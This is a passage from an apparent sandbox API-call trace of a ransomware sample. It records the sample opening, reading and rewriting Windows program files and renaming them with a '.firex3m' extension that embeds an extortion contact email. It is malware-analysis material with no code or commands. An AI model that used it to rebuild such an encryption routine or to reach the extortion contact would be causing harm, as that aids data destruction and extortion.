ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9d9e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0234.210] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0234.210] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0234.210] GetProcessHeap () returned 0x630000 [0234.210] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9da1) returned 0x71d5490 [0234.211] GetProcessHeap () returned 0x630000 [0234.211] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9da1) returned 0x6f05388 [0234.211] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.211] ReadFile (in: hFile=0x648, lpBuffer=0x71d5490, nNumberOfBytesToRead=0x9d80, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesRead=0x4d3ff0c*=0x9d80, lpOverlapped=0x0) returned 1 [0237.219] GetProcessHeap () returned 0x630000 [0237.219] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0237.219] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.220] WriteFile (in: hFile=0x648, lpBuffer=0x6f05388*, nNumberOfBytesToWrite=0x9d80, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05388*, lpNumberOfBytesWritten=0x4d3ff0c*=0x9d80, lpOverlapped=0x0) returned 1 [0237.220] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.220] WriteFile (in: hFile=0x648, lpBuffer=0x6f0f107*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0f107*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0237.220] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.220] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0237.220] CloseHandle (hObject=0x648) returned 1 [0237.220] GetProcessHeap () returned 0x630000 [0237.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05388 | out: hHeap=0x630000) returned 1 [0237.220] GetProcessHeap () returned 0x630000 [0237.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0237.228] GetProcessHeap () returned 0x630000 [0237.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0237.228] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0237.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x53583e12, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9dc2, dwReserved0=0xbfc7496, dwReserved1=0x71d5488, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4e40 [0237.228] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0237.228] Sleep (dwMilliseconds=0x1) [0239.347] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400.png", len=0x71 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400.png") returned 1 [0239.347] GetProcessHeap () returned 0x630000 [0239.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5140) returned 0x6fe3bb0 [0239.348] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-400.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-400.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.348] Sleep (dwMilliseconds=0x1) [0241.288] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\RequiredPrintCapabilities.xml", len=0x7f | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\RequiredPrintCapabilities.xml") returned 1 [0241.288] GetProcessHeap () returned 0x630000 [0241.288] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53a0) returned 0x6fe3bb0 [0241.289] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\RequiredPrintCapabilities.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\resources\\requiredprintcapabilities.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.316] Sleep (dwMilliseconds=0x1) [0241.346] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\SelectAll.scale-100.png", len=0x76 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\SelectAll.scale-100.png") returned 1 [0241.346] GetProcessHeap () returned 0x630000 [0241.346] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5380) returned 0x6fe3bb0 [0241.346] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\SelectAll.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\selectall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.347] Sleep (dwMilliseconds=0x1) [0241.365] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepBoth.scale-100.png", len=0x7d | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepBoth.scale-100.png") returned 1 [0241.365] GetProcessHeap () returned 0x630000 [0241.365] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5354) returned 0x6fe3bb0 [0241.366] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCutKeepBoth.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\planecutkeepboth.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.368] Sleep (dwMilliseconds=0x1) [0241.384] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCut.scale-100.png", len=0x75 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCut.scale-100.png") returned 1 [0241.384] GetProcessHeap () returned 0x630000 [0241.384] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5350) returned 0x6fe3bb0 [0241.384] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\PlaneCut.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\planecut.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.392] Sleep (dwMilliseconds=0x1) [0241.414] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanIntersect.scale-100.png", len=0x7d | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanIntersect.scale-100.png") returned 1 [0241.414] GetProcessHeap () returned 0x630000 [0241.414] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x531c) returned 0x6fe3bb0 [0241.414] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\BooleanIntersect.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\booleanintersect.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.417] Sleep (dwMilliseconds=0x1) [0243.073] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-16.png", len=0x81 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-16.png") returned 1 [0243.073] GetProcessHeap () returned 0x630000 [0243.074] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5444) returned 0x6fe3bb0 [0243.074] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\money_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.076] Sleep (dwMilliseconds=0x1) [0243.082] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileMediumSquare.scale-100.png", len=0x93 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileMediumSquare.scale-100.png") returned 1 [0243.082] GetProcessHeap () returned 0x630000 [0243.082] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5434) returned 0x6fe3bb0 [0243.083] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Money_TileMediumSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\money_tilemediumsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.097] Sleep (dwMilliseconds=0x1) [0243.122] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png", len=0x80 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png") returned 1 [0243.122] GetProcessHeap () returned 0x630000 [0243.122] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53b4) returned 0x6fe3bb0 [0243.122] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.125] Sleep (dwMilliseconds=0x1) [0243.134] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png", len=0x7b | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png") returned 1 [0243.134] GetProcessHeap () returned 0x630000 [0243.134] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53a4) returned 0x6fe3bb0 [0243.134] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.154] Sleep (dwMilliseconds=0x1) [0243.168] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Layout.png", len=0x80 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Layout.png") returned 1 [0243.168] GetProcessHeap () returned 0x630000 [0243.168] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5324) returned 0x6fe3bb0 [0243.168] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Layout.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\icon_layout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.172] Sleep (dwMilliseconds=0x1) [0243.177] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Supports.png", len=0x72 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Supports.png") returned 1 [0243.177] GetProcessHeap () returned 0x630000 [0243.177] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5318) returned 0x6fe3bb0 [0243.177] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Supports.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\icon_supports.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.177] Sleep (dwMilliseconds=0x1) [0243.205] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\SplashScreen.scale-100.png", len=0x90 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\SplashScreen.scale-100.png") returned 1 [0243.205] GetProcessHeap () returned 0x630000 [0243.205] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5290) returned 0x6fe3bb0 [0243.205] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.228] Sleep (dwMilliseconds=0x1) [0243.252] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario2.png", len=0x6e | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario2.png") returned 1 [0243.252] GetProcessHeap () returned 0x630000 [0243.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5210) returned 0x6fe3bb0 [0243.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\Scenario2.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\herohelp\\scenario2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.258] Sleep (dwMilliseconds=0x1) [0243.277] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\shapes_icon.png", len=0x75 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\shapes_icon.png") returned 1 [0243.277] GetProcessHeap () returned 0x630000 [0243.277] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51dc) returned 0x6fe3bb0 [0243.277] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\shapes_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\shapes_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.290] Sleep (dwMilliseconds=0x1) [0243.314] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png", len=0x64 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png") returned 1 [0243.314] GetProcessHeap () returned 0x630000 [0243.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5154) returned 0x6fe3bb0 [0243.314] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\darkblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.320] Sleep (dwMilliseconds=0x1) [0243.335] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\BuilderLogo.png", len=0x7f | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\BuilderLogo.png") returned 1 [0243.335] GetProcessHeap () returned 0x630000 [0243.335] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5140) returned 0x6fe3bb0 [0243.335] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\BuilderLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast\\contrast-white\\builderlogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.343] Sleep (dwMilliseconds=0x1) [0243.348] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125.png", len=0x6e | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125.png") returned 1 [0243.348] GetProcessHeap () returned 0x630000 [0243.348] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50f8) returned 0x6fe3bb0 [0243.348] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-125.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.348] Sleep (dwMilliseconds=0x1) [0243.369] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125_contrast-black.png", len=0x81 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125_contrast-black.png") returned 1 [0243.369] GetProcessHeap () returned 0x630000 [0243.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5084) returned 0x6fe3bb0 [0243.369] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-125_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-125_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.369] Sleep (dwMilliseconds=0x1) [0243.392] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400_contrast-white.png", len=0x7d | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-400_contrast-white.png") returned 1 [0243.392] GetProcessHeap () returned 0x630000 [0243.393] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5070) 